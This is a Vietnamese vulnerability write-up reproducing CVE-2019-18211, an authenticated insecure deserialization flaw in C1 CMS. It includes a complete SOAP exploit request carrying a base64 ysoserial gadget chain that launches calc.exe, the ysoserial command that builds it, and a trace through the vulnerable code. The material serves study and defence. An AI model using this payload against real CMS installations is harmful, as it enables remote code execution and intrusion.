# CVE-2019-18211 C1 CMS DotNet Insecure Deserialization
# Setup
Ở đây mình sử dụng version 6.5 để reproduce.
Link: `https://github.com/Orckestra/C1-CMS-Foundation/releases/tag/v6.5`
Quá trình setup rất là đơn giản, các bạn chỉ cần chạy file solution của project bằng Visual Studio hoặc Rider đều được.
Nếu gặp vấn đề về việc thiếu file assembly của dotnet framework thì làm theo link này, chỉ cần thay đổi version framework là được :eyes:
`https://stackoverflow.com/questions/70022194/open-net-framework-4-5-project-in-vs-2022-is-there-any-workaround`
Kết quả sau khi install thành công.

Sau khi chạy được thì các bạn cần `attach process` để có thể debug.


Như vậy là đã có thể debug được rồi.
Nhớ sử dụng câu lệnh này để gom tất cả file DLL lại để lát tiện phân tích.
```!
mkdir c1_libs;Get-ChildItem -Path . -Filter *.dll -Recurse | ForEach-Object {Copy-Item $_.FullName -Destination c1_libs}
```
## Phân tích
Đây là payload, nhớ là để chạy thì chúng ta cần phải đăng nhập, ở quyền nào cũng được dù là thấp nhất.
```http!
POST /Composite/services/Tree/TreeServices.asmx HTTP/1.1
Host: localhost:36859
Content-Length: 2547
sec-ch-ua: "Not(A:Brand";v="24", "Chromium";v="122"
Content-Type: text/xml; charset=UTF-8
sec-ch-ua-mobile: ?0
SOAPAction: http://www.composite.net/ns/management/GetMessages
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.112 Safari/537.36
sec-ch-ua-platform: "Windows"
Accept: */*
Origin: http://localhost:36859
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:36859/Composite/top.aspx
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: COOKIE_SUPPORT=true; GUEST_LANGUAGE_ID=en_US; seraph.confluence=393217%3A3bdf91830db2e053b8f44de266165b501a3d4a3f; confluence.browse.space.cookie=space-templates; CompositeVersionString_1872953587_371857150=6.10.7583.21856; CompositeVersionString_-281193733_371857150=6.5.6754.25114; CompositeVersionString_-281193733_757602046=6.5.6754.25114; mode_-281193733_757602046=operate; .CMSAUTH_-281193733_757602046=EC3B558FF16A86DDF061850CA51CDB28B9097B12AC2E10856DBB8C55CA3D40CF2AFE5A07A5E76376C6F4CDB5085DB9767ECCD0BC98B7F09EAD9311F7E9CDDDEC16FC6CBBF9B5779C96EAEE889348ECB151C29100AFD2084568827ED825F90158
Connection: close
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<GetMultipleChildren xmlns="http://www.composite.net/ns/management">
<clientProviderNameEntityTokenPairs>
<RefreshChildrenParams>
<EntityToken>entityTokenType='Microsoft.Practices.EnterpriseLibrary.Logging.Formatters.BinaryLogFormatter' entityToken='AAEAAAD/////AQAAAAAAAAAMAgAAAE5TeXN0ZW0uRGF0YSwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAABNTeXN0ZW0uRGF0YS5EYXRhU2V0CgAAABZEYXRhU2V0LlJlbW90aW5nRm9ybWF0E0RhdGFTZXQuRGF0YVNldE5hbWURRGF0YVNldC5OYW1lc3BhY2UORGF0YVNldC5QcmVmaXgVRGF0YVNldC5DYXNlU2Vuc2l0aXZlEkRhdGFTZXQuTG9jYWxlTENJRBpEYXRhU2V0LkVuZm9yY2VDb25zdHJhaW50cxpEYXRhU2V0LkV4dGVuZGVkUHJvcGVydGllcxREYXRhU2V0LlRhYmxlcy5Db3VudBBEYXRhU2V0LlRhYmxlc18wBAEBAQAAAAIABx9TeXN0ZW0uRGF0YS5TZXJpYWxpemF0aW9uRm9ybWF0AgAAAAEIAQgCAgAAAAX9////H1N5c3RlbS5EYXRhLlNlcmlhbGl6YXRpb25Gb3JtYXQBAAAAB3ZhbHVlX18ACAIAAAABAAAABgQAAAAACQQAAAAJBAAAAAAJBAAAAAoBAAAACQUAAAAPBQAAAJQDAAACAAEAAAD/////AQAAAAAAAAAMAgAAAF5NaWNyb3NvZnQuUG93ZXJTaGVsbC5FZGl0b3IsIFZlcnNpb249My4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj0zMWJmMzg1NmFkMzY0ZTM1BQEAAABCTWljcm9zb2Z0LlZpc3VhbFN0dWRpby5UZXh0LkZvcm1hdHRpbmcuVGV4dEZvcm1hdHRpbmdSdW5Qcm9wZXJ0aWVzAQAAAA9Gb3JlZ3JvdW5kQnJ1c2gBAgAAAAYDAAAAtgU8P3htbCB2ZXJzaW9uPSIxLjAiIGVuY29kaW5nPSJ1dGYtOCI/Pg0KPE9iamVjdERhdGFQcm92aWRlciBNZXRob2ROYW1lPSJTdGFydCIgSXNJbml0aWFsTG9hZEVuYWJsZWQ9IkZhbHNlIiB4bWxucz0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwvcHJlc2VudGF0aW9uIiB4bWxuczpzZD0iY2xyLW5hbWVzcGFjZTpTeXN0ZW0uRGlhZ25vc3RpY3M7YXNzZW1ibHk9U3lzdGVtIiB4bWxuczp4PSJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dpbmZ4LzIwMDYveGFtbCI+DQogIDxPYmplY3REYXRhUHJvdmlkZXIuT2JqZWN0SW5zdGFuY2U+DQogICAgPHNkOlByb2Nlc3M+DQogICAgICA8c2Q6UHJvY2Vzcy5TdGFydEluZm8+DQogICAgICAgIDxzZDpQcm9jZXNzU3RhcnRJbmZvIEFyZ3VtZW50cz0iL2MgY2FsYy5leGUiIFN0YW5kYXJkRXJyb3JFbmNvZGluZz0ie3g6TnVsbH0iIFN0YW5kYXJkT3V0cHV0RW5jb2Rpbmc9Int4Ok51bGx9IiBVc2VyTmFtZT0iIiBQYXNzd29yZD0ie3g6TnVsbH0iIERvbWFpbj0iIiBMb2FkVXNlclByb2ZpbGU9IkZhbHNlIiBGaWxlTmFtZT0iY21kIiAvPg0KICAgICAgPC9zZDpQcm9jZXNzLlN0YXJ0SW5mbz4NCiAgICA8L3NkOlByb2Nlc3M+DQogIDwvT2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPg0KPC9PYmplY3REYXRhUHJvdmlkZXI+Cws='</EntityToken>
</RefreshChildrenParams>
</clientProviderNameEntityTokenPairs>
</GetMultipleChildren>
</soap:Body>
</soap:Envelope>
```

+ Bây giờ bắt đầu từ source trước, chúng ta đến với file `/Composite/services/Tree/TreeServices.asmx`,set breakpoint ở hàm `GetMultipleChildren` thì thấy đã trigger breakpoint.

+ Tiếp theo nhảy vào hàm `GetMultipleChildren`, ta sẽ đến với class `TreeServicesFacade`.

Ở trong cụm try catch sẽ gọi tiếp đến hàm `EntityTokenSerializer.Deserialize` với giá trị là node `EntityToken` ở trong SOAP request của chúng ta, là cái này:

+ Nhảy đến hàm `Deserialize`, chúng ta thấy được ở đây nó sẽ check xem serialize format của chúng ta là gì.

Nếu là JSON serialize thì sẽ gọi đến `CompositeJsonSerializer.Deserialize`, còn nếu không thì sẽ gọi đến `EntityTokenSerializer.DeserializeLegacy`, jump vào đó nha vì đương nhiên chúng ta không sử dụng JSON rồi, cũng là vì breakpoint đã trigger tại else condition.

+ Sink của CVE này nằm ở function `DeserializeLegacy` ở class `EntityTokenSerializer`

+ Ở line 67 sử dụng `ParseKeyValueCollection` để parse một String thành một dictionary với cặp key value, chính là payload của chúng ta.
+ Bắt đầu từ line 76, các bạn sẽ để ý rằng ở function này đã sử dụng reflection để có thể lấy được class type, tiếp theo đó nó sẽ gọi đến method `Deserialize` với các flag là phải `static` và `public`. Sau đó nó sẽ sử dụng Invoke ở trong cụm try catch để có thể thực thi function đó.
+ Ở trong thư viện core của C# thì chúng ta có một class là `Microsoft.Practices.EnterpriseLibrary.Logging.Formatters.BinaryLogFormatter`, thử xem function `Deserialize` của nó xem sao.

Nó sẽ nhận vào 1 chuỗi Base64 để decode, tiếp theo đó sẽ sử dụng BinaryLogFormatter để deserialize. Bây giờ chúng ta sẽ sử dụng `dotnet ysoserial` để có thể tạo payload
`.\ysoserial.exe -f binaryFormatter -g DataSetOldBehaviour -o base64 -c "calc"`

Bây giờ copy payload vào thôi.
Ở đây chúng ta thấy rằng biến content ở trong Invoke được khởi tạo từ entityToken đến từ cặp key-value.

